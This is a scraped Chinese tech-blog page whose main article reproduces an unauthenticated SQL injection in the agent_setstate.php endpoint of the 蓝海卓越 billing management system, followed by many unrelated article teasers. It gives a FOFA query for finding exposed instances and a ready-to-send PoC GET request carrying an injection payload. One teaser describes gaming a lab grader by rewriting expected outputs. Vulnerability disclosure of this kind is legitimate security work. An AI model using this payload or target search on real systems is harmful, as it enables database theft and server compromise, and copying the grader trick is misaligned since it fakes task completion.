当前位置： 首页 > news >正文

蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现

news 2025/11/5 23:02:01

0x01 产品简介

蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其他厂商支持相应标准的产品兼容，结合蓝海卓越的PPPOE服务器网关，可提供更加丰富的功能。，另外，友好的Web访问管理的方式，为用户提供更好用、易用的方式，更贴心的使用形式。

0x02 漏洞概述

蓝海卓越计费管理系统 agent_setstate.php 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

0x03 复现环境

FOFA：title=="蓝海卓越计费管理系统"

0x04 漏洞复现

PoC

GET /agent_setstate.php?id=(SELECT%202*(IF((SELECT%20*%20FROM%20(SELECT%20CONCAT(0x717a767071,(SELECT%20(ELT(6154=6154,1))),0x7170716a71,0x78))s),%208446744073709551610,%208446744073709551610))) HTTP/1.1
Host: your

相关文章：

蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现

0x01 产品简介 蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其…...

编程日记 2024/5/28 13:26:28

【leetcode2765--最长交替子数组】

要求：给定一个数组，找出符合【x, x1,x,x-1】这样循环的最大交替数组长度。 思路：用两层while循环，第一个while用来找到符合这个循环的开头位置，第二个用来找到该循环的结束位置，并比较一下max进行记录。 …...

编程日记 2024/5/28 13:25:26

java文档管理系统的设计与实现源码(springboot+vue+mysql)

风定落花生，歌声逐流水，大家好我是风歌，混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的文档管理系统的设计与实现。项目源码以及部署相关请联系风歌，文末附上联系信息 。 项目简介： 文档管理系统的…...

编程日记 2024/5/28 13:22:24

西安航空学院电子工程学院领导莅临泰迪智能科技参观交流

5月26日，西安航空学院电子工程学院院长杨亚萍、专业教师刘坤莅临广东泰迪智能科技股份有限公司产教融合实训基地参观交流。泰迪智能科技董事长张良均、副总经理施兴、产品中心负责周东平、校企合作经理吴桂锋与泰迪智能科技韩伟进行热情了接待。双方就专业建设、协同…...

编程日记 2024/5/28 13:20:22

C++｜设计模式（二）｜简单工厂和工厂方法模式

本文探讨两种广泛使用的创建型模式——简单工厂模式和工厂方法模式，解释他们的实现细节、优势以及应用场景。 在下一篇文章中，我会补充抽象工厂模式，其实工厂模式主要就是为了封装对象的创建过程，如果我们不进行封装，…...

编程日记 2024/5/28 13:19:21

C语言从头学12——流程控制（一）

C语言程序的执行顺序是从前到后依次序执行的。如果想要控制程序执行的流程，就必须使用 流程控制的语法结构，分为条件执行和循环执行。 1、if语句 if 语句在前面的举例中曾经出现过，这里做详细介绍。该语句用于条件判断，满…...

编程日记 2024/5/28 13:18:20

10大领域应该怎么记？

文章目录 5大过程组10大领域49个过程输出输入工具与技术 参考文档： https://mp.weixin.qq.com/s/BJ-Dpn0zxTP0TCbeoJXb9A 5大过程组 启动、规划、执行、监控、收尾 10大领域 巧记：【挣饭进城市，咨购风菜干】【狗子整范进—成人风采】 整…...

编程日记 2024/5/28 13:17:19

通过Ubuntu虚拟机+Linux移植LVGL并通过linux Frame buffer显示

文章参考：https://gitee.com/socbis/linux-lvgl lvgl on linux Frame buffer 主机环境: Ubuntu 18.04lvgl 8.0.1 获取源码并运行demo 获取源码 需要3样东西来构建demo : lvgl核心控件库: 从此处获取源码 lvgl，选择版本 Release v8.0.1. 显示和触摸接…...

编程日记 2024/5/28 13:16:17

M功能-支付平台(三)

target：离开柬埔寨倒计时-221day 前言 今天周六，但是在柬埔寨还是工作日，想着国内的朋友开始休周末就羡慕呀，记不清在这边过了多少个周六了，多到我已经习惯了。而且今天技术部还停电了，真的是热的受不了呀…...

编程日记 2024/5/28 13:15:16

5G工厂长啥样

5G工厂是一种新型的工业互联网基础设施，利用5G为代表的新一代信息通信技术集成，打造新型工业互联网基础设施。在5G工厂中，自动化和智能化设备广泛使用，高度互联的工厂网络得以实现，远程监控和管理成为可能，…...

编程日记 2024/5/28 13:14:15

使用Python操作Jenkins

大家好，Python作为一种简洁、灵活且功能丰富的编程语言，可以与各种API轻松集成，Jenkins的API也不例外。借助于Python中的python-jenkins模块，我们可以轻松地编写脚本来连接到Jenkins服务器，并执行各种操作，…...

编程日记 2024/5/28 13:13:14

网络协议测试仪设计方案：474-便携式手提万兆网络协议测试仪

便携式手提万兆网络协议测试仪 一、平台简介 便携式手提万兆网络协议测试仪，以FPGA万兆卡和X86主板为基础，构建便携式的手提设备。 FPGA万兆卡是以Kintex-7XC7K325T PCIeX4的双路万兆光纤网络卡，支持万兆网络数据的收发和网络协议…...

编程日记 2024/5/28 13:12:13

使用numpy手写一个神经网络

本文主要包含以下内容： 推导神经网络的误差反向传播过程使用numpy编写简单的神经网络，并使用iris数据集和california_housing数据集分别进行分类和回归任务，最终将训练过程可视化。 1. BP算法的推导过程 1.1 导入 前向传播和反向传播的总体…...

编程日记 2024/5/28 13:11:12

使用Spring AOP实现接口参数变更前后对比和日志记录

推荐一个程序员的常用工具网站，效率加倍，嘎嘎好用：程序员常用工具云服务器限时免费领：轻量服务器2核4G腾讯云：2核2G4M云服务器新老同享99元/年，续费同价阿里云：2核2G3M的ECS服务器只需99元/年，续费同价记录接口调用前后的参数变化是一个常见的需求，这不仅有助于调试和…...

编程日记 2024/5/28 13:10:10

免费无限换脸，火了，图片/视频/直播都行！

最强换脸AI工具Facefusion软件在近期更新到了2.6.0版本，带来了一系列的更新和改进，今天为大家分享一下最新的整合包。 Facefusion2.6.0版本介绍 FaceFusion不仅仅是一款换脸软件，它更是一个多功能的数字人和实时直播助手，真正开启…...

编程日记 2024/5/28 13:08:08

无线领夹麦克风哪个品牌好？本期文章揭秘无线麦克风哪个品牌好用

​在当下这个全民皆为媒体的时代大潮中，视频分享已然成为了引领风尚的指向标。在自媒体领域竞争愈发激烈的态势下，若要在这片广阔海洋中扬帆远航，优秀的作品毫无疑问是吸引观众的关键所在。而想要塑造出这样的卓越之作，除了需要创…...

编程日记 2024/5/28 13:07:07

操作系统实验--终极逃课方法

找到图片里的这个路径下的文件 ，结合当前题目名称，把文件内容全部删除，改为print print的内容为下图左下角的预期输出的内容...

编程日记 2024/5/28 13:06:06

C语言实现正弦信号扫频

C语言实现正弦信号扫频 包含必要的头文件：首先，你需要包含 <stdio.h> 和 <math.h> 头文件，分别用于输入输出和数学函数的使用。 定义扫频参数：定义正弦扫频的参数，例如起始频率、结束频率、扫频时间等。 生成正弦波信号：使用正弦函数生成扫频信号，可以根…...

编程日记 2024/5/28 13:03:03

实用篇| huggingface网络不通

之前文章《Transformer原理》中介绍过,Transformers 是由 Hugging Face 开发的一个包&#xff0c;支持加载目前绝大部分的预训练模型。随着 BERT、GPT 等大规模语言模型的兴起&#xff0c;越来越多的公司和研究者采用 Transformers 库来构建应用。 Hugging Face是一家美国公司…...

编程日记 2024/5/28 13:02:02

NLP与训练模型-GPT-3：探索人工智能语言生成的新纪元

在人工智能领域&#xff0c;自然语言处理&#xff08;NLP&#xff09;一直是备受关注的研究方向之一。随着深度学习技术的发展&#xff0c;尤其是Transformer模型的出现&#xff0c;NLP领域取得了巨大的进步。其中&#xff0c;由OpenAI推出的GPT-3模型更是引起了广泛的关注和热…...

编程日记 2024/5/28 13:01:01

大数据学习栈记——Neo4j的安装与使用

本文介绍图数据库Neofj的安装与使用&#xff0c;操作系统&#xff1a;Ubuntu24.04&#xff0c;Neofj版本&#xff1a;2025.04.0。 Apt安装 Neofj可以进行官网安装&#xff1a;Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...

编程新知 2025/11/3 14:17:12

模型参数、模型存储精度、参数与显存

模型参数量衡量单位 M&#xff1a;百万&#xff08;Million&#xff09; B&#xff1a;十亿&#xff08;Billion&#xff09; 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的&#xff0c;但是一个参数所表示多少字节不一定&#xff0c;需要看这个参数以什么…...

编程新知 2025/9/23 9:00:33

day52 ResNet18 CBAM

在深度学习的旅程中&#xff0c;我们不断探索如何提升模型的性能。今天&#xff0c;我将分享我在 ResNet18 模型中插入 CBAM&#xff08;Convolutional Block Attention Module&#xff09;模块&#xff0c;并采用分阶段微调策略的实践过程。通过这个过程&#xff0c;我不仅提升…...

编程新知 2025/9/14 16:40:54

电脑插入多块移动硬盘后经常出现卡顿和蓝屏

当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时&#xff0c;可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案&#xff1a; 1. 检查电源供电问题 问题原因&#xff1a;多块移动硬盘同时运行可能导致USB接口供电不足&#x…...

编程新知 2025/10/28 15:02:57

NLP学习路线图（二十三）：长短期记忆网络（LSTM）

在自然语言处理（NLP）领域，我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感，还是实现语言的翻译，都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心，而循环神经网络（RNN） 曾被视为…...

编程新知 2025/10/30 5:56:39

【HTTP三个基础问题】

面试官您好&#xff01;HTTP是超文本传输协议&#xff0c;是互联网上客户端和服务器之间传输超文本数据&#xff08;比如文字、图片、音频、视频等&#xff09;的核心协议&#xff0c;当前互联网应用最广泛的版本是HTTP1.1&#xff0c;它基于经典的C/S模型&#xff0c;也就是客…...

编程新知 2025/9/27 18:25:59

【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统

目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索&#xff08;基于物理空间 广播范围&#xff09;2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

编程新知 2025/10/25 21:41:56

高效线程安全的单例模式：Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式：Python 中的懒加载与自定义初始化参数 在软件开发中，单例模式（Singleton Pattern）是一种常见的设计模式，确保一个类仅有一个实例，并提供一个全局访问点。在多线程环境下，实现单例模式时需要注意线程安全问题，以防止多个线程同时创建实例，导致…...

编程新知 2025/9/20 21:58:29

云原生安全实战：API网关Kong的鉴权与限流详解

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、基础概念 1. API网关&#xff08;API Gateway&#xff09; API网关是微服务架构中的核心组件&#xff0c;负责统一管理所有API的流量入口。它像一座…...

编程新知 2025/10/28 19:50:22

在Mathematica中实现Newton-Raphson迭代的收敛时间算法（一般三次多项式）

考察一般的三次多项式&#xff0c;以r为参数&#xff1a; p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]&#xff1b; 此多项式的根为&#xff1a; 尽管看起来这个多项式是特殊的&#xff0c;其实一般的三次多项式都是可以通过线性变换化为这个形式…...

编程新知 2025/10/28 10:00:33